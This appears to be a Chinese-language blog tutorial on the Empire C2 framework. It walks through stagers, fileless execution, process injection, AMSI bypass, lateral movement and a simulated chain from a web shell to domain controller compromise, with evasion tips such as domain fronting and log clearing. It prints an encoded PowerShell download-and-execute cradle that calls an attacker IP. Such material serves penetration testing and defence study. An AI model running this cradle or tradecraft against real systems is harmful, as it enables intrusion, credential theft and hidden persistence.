Empire C2框架深度解析:从无文件攻击到内网横向移动实战 1. 项目概述从工具使用者到架构理解者如果你接触过内网渗透大概率听说过或者用过Empire。很多人对它的印象停留在“一个基于PowerShell的后渗透框架”和Metasploit有点像但更专注于Windows环境。这种理解没错但太浅了。我用了Empire好几年从最初的版本跟到现在的BC-SECURITY维护版最大的感触是如果你只把它当做一个生成Payload、执行几个模块的“点菜工具”那你就错过了它最核心的价值。Empire的真正威力在于它完整地封装和实践了一套现代、高效的命令与控制C2攻击链。这个链条从最初的“敲门”Stager开始到在内存中建立稳固的“据点”Agent再到利用这个据点进行无文件攻击、权限提升最终实现在内网中的隐蔽横向移动。整个过程很多环节都刻意绕过了磁盘直接与内存和进程交互这正是它让传统杀软头疼的地方。所以这次我们不打算再重复一遍“如何安装、如何生成一个launcher”的基础教程。那些资料已经很多了。我想和你深入聊聊的是Empire这套框架背后的设计哲学、核心架构以及我们如何利用这些特性在真实的、防守严密的网络环境中像水一样流动。我们会拆解它的C2通信模型看看它是如何做到“无文件”的我们会剖析它的横向移动模块理解其背后的协议原理和规避思路。目标是让你下次打开Empire时看到的不是一个黑盒子而是一个脉络清晰、可随意组合的武器库。2. Empire C2架构深度解析不只是监听与回连很多人把C2简单理解为“监听器Listener”这其实只看到了冰山一角。Empire的C2架构是一个分层、模块化且具备高度可扩展性的系统理解它是玩转Empire的基础。2.1 核心组件交互模型Empire的C2架构主要由四个核心组件构成它们协同工作形成了一条稳固的攻击链监听器Listener这是攻击者的“指挥中心”。它运行在你的攻击机上负责接收被控主机Agent的回连并下发指令。Empire支持HTTP、HTTPS、DNS甚至Slack等多种通信协议。关键点在于Listener不直接处理与Agent的通信逻辑它更像一个调度中心。Stager投放器这是初始的“敲门砖”。它是一个体积小、功能单一的代码片段如一段PowerShell命令、一个VBS脚本、一个DLL唯一使命就是连接到Listener下载并执行真正的Agent载荷。Stager的设计追求极简和规避比如launcher_bat会伪装成文档图标。Agent代理这是常驻在目标内存中的“卧底”。它由Stager拉取并执行是一个功能完整的PowerShell后门。Agent与Listener保持心跳接收任务Task执行对应的模块Module并将结果回传。Agent运行在内存中不落地文件这是Empire的核心优势之一。模块Module这是Agent的“技能包”。Empire的所有功能信息收集situational_awareness、权限提升privesc、横向移动lateral_movement、持久化persistence等都以模块形式存在。模块是独立的PowerShell脚本由Agent在内存中加载并执行。它们的工作流程是这样的你配置一个HTTP监听器 - 生成一个对应此监听器的PowerShell Stager - 在目标上执行该Stager - Stager从你的服务器下载Agent代码到内存并执行 - Agent定期可配置向Listener心跳、拉取任务 - 你通过Listener向Agent下发“执行Mimikatz模块”的任务 - Agent执行并将结果回传。实操心得不要一上来就用默认的http监听器。在生产环境中优先考虑http_hop跳板监听器或https。http_hop可以配置多个重定向器Redirector比如用CDN或云函数做前端将流量转发到你真实的C2服务器这能有效隐藏你的基础设施。配置时Host字段填写重定向器的域名RedirectTarget才是你真实C2的http://your-real-ip:port。2.2 通信协议与规避机制Empire的通信并非简单的明文TCP。以最常用的HTTP/HTTPS为例其通信过程经过了精心设计以规避检测元数据加密Agent与Server之间的所有通信包括心跳、任务、结果都使用AES加密。你在Web日志中看到的只是一堆看似随机的POST请求和响应数据。动态请求路径Agent不会一直请求固定的URL如/index.php。它会使用一个预定义的“下载地址”Server和“用户代理”UserAgent列表每次通信随机选择使得流量特征难以被简单的规则匹配。延迟与抖动你可以为Agent设置DefaultDelay默认回连间隔和Jitter抖动百分比。Jitter是关键它让每次心跳间隔在一个随机范围内波动避免产生规律的、机械式的流量这是很多自动化检测系统寻找的典型特征。阶段化加载这是“无文件”的精髓。初始的Stager代码极其简短只包含下载和执行核心Agent的逻辑。核心Agent代码可能很大是在第一阶段执行后才从C2服务器拉取到内存中的。这意味着最初的恶意样本Stager本身不具备完整功能绕过了基于静态特征的检测。我曾经在一个有EDR终端检测与响应的环境中测试一个经过简单混淆的PowerShell Stagerlauncher命令生成成功执行并拉起了Agent。EDR报警了PowerShell的敏感操作但因为它没有看到后续的恶意模块载荷在内存中所以未能判定为明确的威胁只是给出了“可疑”的警告。这给了我们宝贵的时间窗口。2.3 配置文件与持久化Empire的配置文件/opt/Empire/server/config.yaml是另一个值得深究的地方。里面定义了默认的Stager、模块参数、加密密钥等。强烈建议在实战前修改默认的DefaultProfile。默认的User-Agent、Headers太有辨识度了。你可以将其伪装成合法的浏览器流量或云服务SDK的请求。Agent的持久化也内置于架构中。当Agent启动时它会尝试多种方法将自己注册为持久后门例如通过Startup文件夹、注册表Run键、计划任务、WMI事件订阅等。这些操作也是通过模块如persistence/userland/registry完成的意味着你可以在获得初始立足点后有选择地、隐蔽地部署持久化机制而不是一股脑全用上增加暴露风险。3. “无文件攻击”实战在内存中起舞“无文件攻击”这个词现在很火但具体到Empire它是如何实现的这不仅仅是“不写文件到磁盘”那么简单它涉及代码的执行流、注入技术和PowerShell的深层特性。3.1 PowerShell内存加载的本质Empire的Agent和模块本质都是PowerShell脚本。PowerShell有一个强大的功能叫Invoke-ExpressionIEX可以执行字符串形式的代码。更关键的是.NET框架提供了System.Reflection.Assembly.Load方法可以直接将字节数组比如从网络下载的.NET程序集加载到当前进程的内存中并执行。Empire的Stager正是利用了这一点。我们来看一个典型的launcher命令生成的Payload简化版powershell -NoP -NonI -W Hidden -Exec Bypass -Enc SQBFAFgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAwADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAHAAaABwACcAKQApAA这个Base64编码的字符串解码后核心就是一句IEX ((New-Object Net.Webclient).DownloadString(http://192.168.1.100:8080/index.php))。它从指定URL下载一个字符串即Agent的核心代码并用IEX在内存中执行。全程没有.ps1文件落地。3.2 进程注入与模块执行当Agent在内存中运行后它本身就是一个PowerShell进程。但执行某些敏感操作如Mimikatz时如果直接在Agent的PowerShell进程中加载这些知名工具很容易被进程行为监控捕获。因此Empire的许多模块采用了进程注入技术。例如code_execution/invoke_shellcode模块或者management/psinject模块。它们的工作流程是在目标上创建一个“干净的”进程如notepad.exe、rundll32.exe。在该进程的内存空间中分配一块可读可写可执行RWX的区域。将Shellcode或PowerShell负载写入该区域。通过创建远程线程等方式让那个“干净”进程去执行我们写入的代码。这样恶意行为就从一个看似可疑的PowerShell进程转移到了一个合法的、白名单进程内部。EDR如果只监控进程树父子关系可能会忽略这种注入。注意事项进程注入不是银弹。现代EDR具备检测远程线程创建、检测进程内存中是否存在恶意Shellcode如YARA规则的能力。因此psinject这类模块需要谨慎选择目标进程。注入到svchost.exe或lsass.exe这类核心进程风险极高极易触发告警。相对而言注入到用户态的、常见的应用程序进程如浏览器、办公软件的子进程中隐蔽性稍好但也要根据目标环境的具体情况判断。3.3 绕过AMSI与约束语言模式在较新的Windows系统上直接运行上述PowerShell命令可能会被反恶意软件扫描接口AMSI拦截。AMSI会检查PowerShell脚本、VBScript等内容的恶意性。Empire自身和社区提供了多种绕过AMSI的方法通常集成在Stager生成阶段。例如在生成Payload时可以使用-Obfuscate参数对命令进行混淆或者使用特定的Bypass模块如privesc/bypassuac本身也包含绕过UAC和部分AMSI检查的功能。更高级的做法是在Stager中先执行一段AMSI Patch的代码将amsi.dll的扫描函数在内存中“钩掉”或置为无效然后再下载执行主Agent。另一个障碍是约束语言模式Constrained Language Mode它会限制许多PowerShell的功能。Empire的许多模块在约束模式下无法工作。遇到这种情况需要先尝试逃逸到全语言模式。常见方法包括利用特定的组件对象模型COM对象漏洞、或利用注册表键值来降级语言模式。这通常需要前期的信息收集判断目标环境是否存在可被利用的配置弱点。4. 内网横向移动协议、凭证与路径拿到一台内网机器的权限只是开始如何以此为跳板渗透到更核心的区域如域控制器、文件服务器才是内网渗透的精华。Empire提供了丰富的横向移动模块其本质是对Windows原生管理协议和功能的武器化。4.1 基于凭证的横向移动这是最经典的方式前提是你已经获取到了内网其他机器的有效凭证用户名和密码哈希。WMIInvoke-WMI这是我最推荐的首选方式。WMI是Windows管理的基石默认开启且网络流量走的是135端口WMI服务和随后的动态高端口。执行命令时不需要先将Payload文件复制到目标机器而是通过WMI的Win32_Process类在远程创建进程。命令和输出通过WMI协议传输不会在目标磁盘上留下可执行文件日志记录也不如其他方式详细。使用usemodule lateral_movement/invoke_wmi设置ComputerName和CredID即可。PsExecInvoke-PsExec知名度最高但也是最容易被检测的。它需要目标开启ADMIN$共享默认开启并通过445端口SMB将一个服务端可执行文件PSEXESVC.exe上传到目标ADMIN$目录然后通过服务控制器SC创建服务来执行。这个文件会落地几乎所有EDR和杀软都会监控ADMIN$的写入和PSEXESVC这个关键字。仅在确认环境宽松或需要快速获取System权限时使用。PowerShell RemotingInvoke-PSRemoting需要目标开启WinRM服务默认监听5985端口。它利用的是PowerShell的Enter-PSSession或Invoke-Command。这种方式非常“原生”流量是加密的但如果目标未开启WinRM则需要先进行配置动作较大。实操心得横向移动前务必先用situational_awareness/network/powerview/find_localadmin_access模块检查当前已控机器上的用户是否是内网其他机器的本地管理员。这个模块会枚举当前用户的令牌或凭证并测试其对域内其他主机的本地管理员访问权限。这能帮你快速找到最容易攻破的下一跳目标避免盲目扫描和攻击。4.2 基于令牌窃取与进程注入的横向移动当你控制的机器上有域管理员或其他高权限用户登录的会话时这种方法极其有效。令牌窃取Steal Token使用mimikatz命令或credentials/mimikatz模块抓取内存中的密码或令牌后在Agent会话中直接使用steal_token [PID]命令。这个PID是目标用户进程如explorer.exe,rdpclip.exe的ID。窃取后你的Agent会话就“扮演”了那个用户可以直接访问该用户有权访问的网络资源如域控的C$共享。完成后用revtoself恢复原身份。进程注入PSInjectusemodule management/psinject。这个模块不仅用于隐藏自身也可用于横向移动。如果你通过某种方式如漏洞利用在目标机器上获得了一个进程的注入能力你可以将一个新的Agent直接注入到那个进程并让这个新Agent回连到你的监听器从而在目标上建立一个新据点。这通常用于绕过某些基于进程创建的监控。4.3 利用漏洞与服务的横向移动除了常规协议Empire还集成了一些利用特定漏洞或服务的模块。SMB ExecInvoke-SMBExec类似于PsExec但利用SMB协议直接执行命令无需服务。它依赖于目标启用了SMB签名通常默认不启用和已知的凭证。DCOMDistributed Component Object Model通过DCOM在远程机器上执行命令。模块如lateral_movement/invoke_dcom它可以在没有直接SMB访问权限的情况下通过DCOM协议横向移动是绕过防火墙规则的一种手段。SSH对于Linux目标或混合环境Empire也提供了基于SSH的横向移动模块前提是获取了SSH密码或密钥。横向移动的选择是一个权衡艺术WMI平衡了隐蔽性和通用性PsExec简单粗暴但响声大令牌窃取最隐蔽但需要机会漏洞利用则具有突然性。在实际操作中我通常会准备一条主路径如WMI和一条备用路径如PsExec或漏洞并优先使用不需要文件落地的技术。5. 实战场景深度剖析从外网到域控的完整链条让我们结合一个模拟场景把上面讲的所有点串联起来。假设我们通过一个Web漏洞获得了一台位于DMZ区的Windows服务器Web服务器的有限权限一个Web Shell。5.1 第一阶段建立隐蔽的初始据点环境探测在Web Shell中先执行whoami /groups和systeminfo发现是IIS_IUSRS权限系统是Windows Server 2016。网络配置显示它有两块网卡一块对外公网IP一块对内172.16.10.0/24网段。生成定制化Stager在Empire攻击机上我们不使用默认的http监听器。我们创建一个http_hop监听器Host设置为一个我们控制的、看起来正常的域名如cdn.update-system.comRedirectTarget设置为我们的真实C2服务器IP和端口。这样所有Agent流量先到CDN再转发给我们增加了溯源难度。投递与执行由于是Web Shell可能无法直接执行PowerShell。我们选择生成一个launcher_vbs的Stager。将生成的VBS脚本内容通过Web Shell写入目标服务器的临时目录。然后通过Web Shell的cscript命令执行该VBS。VBS脚本会在内存中启动PowerShell进程并执行下载Agent的代码。Agent上线成功的话我们在Empire中看到一个新的Agent上线权限是IIS_IUSRS。第一个动作不是急着提权而是先设置一个较长的Delay如60秒和较高的Jitter50%让心跳间隔在30-90秒随机波动降低流量规律性。5.2 第二阶段权限提升与信息收集本地信息收集使用situational_awareness/host/winenum模块快速收集系统详细信息、用户、进程、网络连接等。发现服务器上运行着SQL Server服务并且存在一个本地管理员组用户svc_sql。凭证窃取尝试使用mimikatz命令。由于当前权限较低直接运行可能失败。我们使用privesc/bypassuac模块。设置Listener为我们当前的监听器执行。这会触发一个UAC绕过弹回一个新的Agent会话这个新会话通常具有更高的完整性级别可能是High。再次尝试Mimikatz在新的高权限Agent会话中再次运行mimikatz命令。成功抓取到内存中svc_sql用户的明文密码因为该用户当前已登录。在Empire的creds列表中可以看到这些凭证。内网探测有了更高权限开始探测内网。使用situational_awareness/network/arpscan扫描172.16.10.0/24网段发现活跃主机。使用reverse_dns模块解析主机名初步绘制内网拓扑。使用powerview系列的模块如get_domain_controller确认域控是DC01.corp.localIP是172.16.10.10。5.3 第三阶段横向移动与域控攻克寻找路径使用find_localadmin_access模块发现当前机器上的svc_sql账户对另一台服务器FILE01.corp.local172.16.10.20具有本地管理员权限。这是一个理想的跳板。第一次横向移动使用lateral_movement/invoke_wmi模块。ComputerName设置为FILE01CredID设置为svc_sql的凭证ID。执行后我们获得了一个在FILE01上以svc_sql权限运行的Agent。注意这里我们选择了WMI因为它更安静。在FILE01上深入在新的Agent上再次进行信息收集和凭证抓取。运气好的话可能抓到域用户甚至域管理员的凭证因为文件服务器上常有管理员登录。这次我们抓到了域管理员CORP\Administrator的NTLM哈希。攻击域控现在我们有了域管的哈希。我们有多种选择Pass-the-Hash (PTH)在Empire中对抓取到的哈希使用pth CredID命令然后steal_token一个域管进程如果FILE01上有。但这需要目标系统DC01启用了NTLM认证且我们能在当前会话中模拟令牌。WMI with Hash直接使用invoke_wmi模块ComputerName设为DC01CredID设为域管哈希的ID。这是最直接的方式之一。黄金票据Golden Ticket如果我们还通过lsadump模块需要Domain Admin或SYSTEM权限获取了域的krbtgt用户的哈希我们可以使用credentials/mimikatz/golden_ticket模块伪造黄金票据从而获得域内任意服务的访问权限且有效期可长达10年。这是最彻底的域控方法。建立持久化在域控上获得权限后不要忘记建立持久化。可以使用persistence目录下的模块如通过WMI事件订阅、计划任务或者更隐蔽的registry启动项。同时考虑在多个关键位置如其他域成员服务器也植入后门确保即使某个点被发现也不至于全盘丢失访问权限。5.4 第四阶段清理与加固这不是Empire的功能但却是渗透测试中必须的环节。在授权测试结束后需要清理所有植入的Agent、创建的计划任务、注册表键值、WMI订阅等。Empire的kill命令可以结束Agent进程但持久化项目需要手动或通过脚本反向操作移除。同时要检查系统日志如安全日志、PowerShell操作日志看是否有明显的告警条目评估防守方的可能发现点并在报告中详细说明。6. 常见问题、排查与高级规避技巧在实际使用中你肯定会遇到各种问题。这里记录一些我踩过的坑和解决方案。6.1 Agent不上线或掉线问题执行Stager后Empire里看不到Agent。排查网络连通性首先确认目标能访问你的Listener地址和端口。在目标上用Test-NetConnection或telnet测试。杀软拦截Stager可能被终端杀软静态或动态检测。尝试使用不同的Stager类型如launcher_vbsvslauncher_bat或使用-Obfuscate参数对PowerShell命令进行混淆。AMSI拦截在PowerShell中执行时被AMSI阻断。需要在Stager前加入AMSI绕过代码。Empire的Bypass模块或社区提供的混淆脚本可以解决。Listener配置错误检查Listener的Host字段。如果目标通过域名访问确保域名解析正确。如果是IP确保是目标能访问到的IP对于内网机器不能用攻击机的公网IP。问题Agent上线后不久突然失联。排查网络不稳定内网环境可能存在网络波动或中断。进程被终止Agent进程可能被安全软件或管理员手动结束。检查是否使用了过于显眼的进程名默认的PowerShell。可以考虑进程注入到稳定进程。心跳间隔问题Delay设得太短流量过于频繁被防火墙或IDS识别。适当调高Delay和Jitter。6.2 模块执行失败问题执行mimikatz或psinject等模块时返回错误。排查权限不足很多模块需要管理员或System权限。先用bypassuac或本地提权模块如privesc/ms16-032如果系统有漏洞提升权限。模块依赖缺失某些模块依赖特定系统组件或.NET版本。在info中查看模块说明。防病毒/EDR实时防护模块行为如内存注入、调用MiniDumpWriteDump触发了实时防护。可能需要先执行绕过或关闭安全软件的模块需极高权限且风险大。64位/32位问题确保Agent的架构x86/x64与模块兼容。在sysinfo中查看。有时需要psinject到对应架构的进程中。6.3 横向移动失败问题invoke_wmi或invoke_psexec失败提示“Access Denied”或超时。排查凭证错误确认使用的用户名、密码或哈希是否正确并且该账户对目标机器有足够的权限如本地管理员。防火墙目标机器的防火墙可能阻止了135WMI或445SMB端口。invoke_wmi需要135和动态高端口invoke_psexec需要445端口。可以先用portscan模块扫描目标端口。UAC远程限制即使使用管理员凭证从网络远程访问Windows Vista及以上系统时默认情况下远程令牌是“过滤的”Filtered没有完全的管理员权限。这可能导致某些操作失败。可以尝试使用获取的哈希进行PTH或者寻找已登录的高权限会话进行令牌窃取。服务问题目标机器的相关服务如WinRM对于PSRemotingServer服务对于ADMIN$共享未启动。6.4 高级规避技巧流量伪装使用HTTPS尽可能使用https监听器证书可以使用Let‘s Encrypt免费申请让流量看起来像正常的TLS加密通信。修改默认Profile彻底修改config.yaml中的DefaultProfile模仿Google Chrome或Azure CLI等合法软件的User-Agent和请求头。使用域前置Domain Fronting结合CDN服务将C2流量伪装成对大型合法域名如cloudfront.net的请求极难被阻断和溯源。这需要复杂的Listener和Stager配置。内存规避避免直接调用敏感API定制Empire模块避免直接使用VirtualAllocEx、CreateRemoteThread等敏感API组合可以尝试使用更底层的API或利用合法的代码执行路径如QueueUserAPC。模块代码混淆使用Empire自带的preobfuscate功能对模块的PowerShell源代码进行混淆增加静态分析难度。行为规避延迟与随机化不仅是心跳任务执行、文件传输等操作都可以加入随机延迟。最小化活动在目标上只执行必要操作。避免大规模扫描、频繁的文件操作等“ noisy ”行为。清理痕迹使用Empire的powershell/situational_awareness/host/下的Invoke-EventVwrBypass等模块可以清除特定日志但需谨慎因为清除日志本身也是一个可疑事件。Empire是一个强大的框架但它的强大来自于你对底层原理的理解和灵活运用的能力。它不是一个“一键入侵”的工具而是一个需要你精心策划和调整的战术平台。每一次成功的渗透都是对C2架构、无文件技术和内网协议的深刻理解与实践。希望这篇深度解析能帮助你从“脚本小子”迈向“战术大师”。记住工具是死的思路是活的。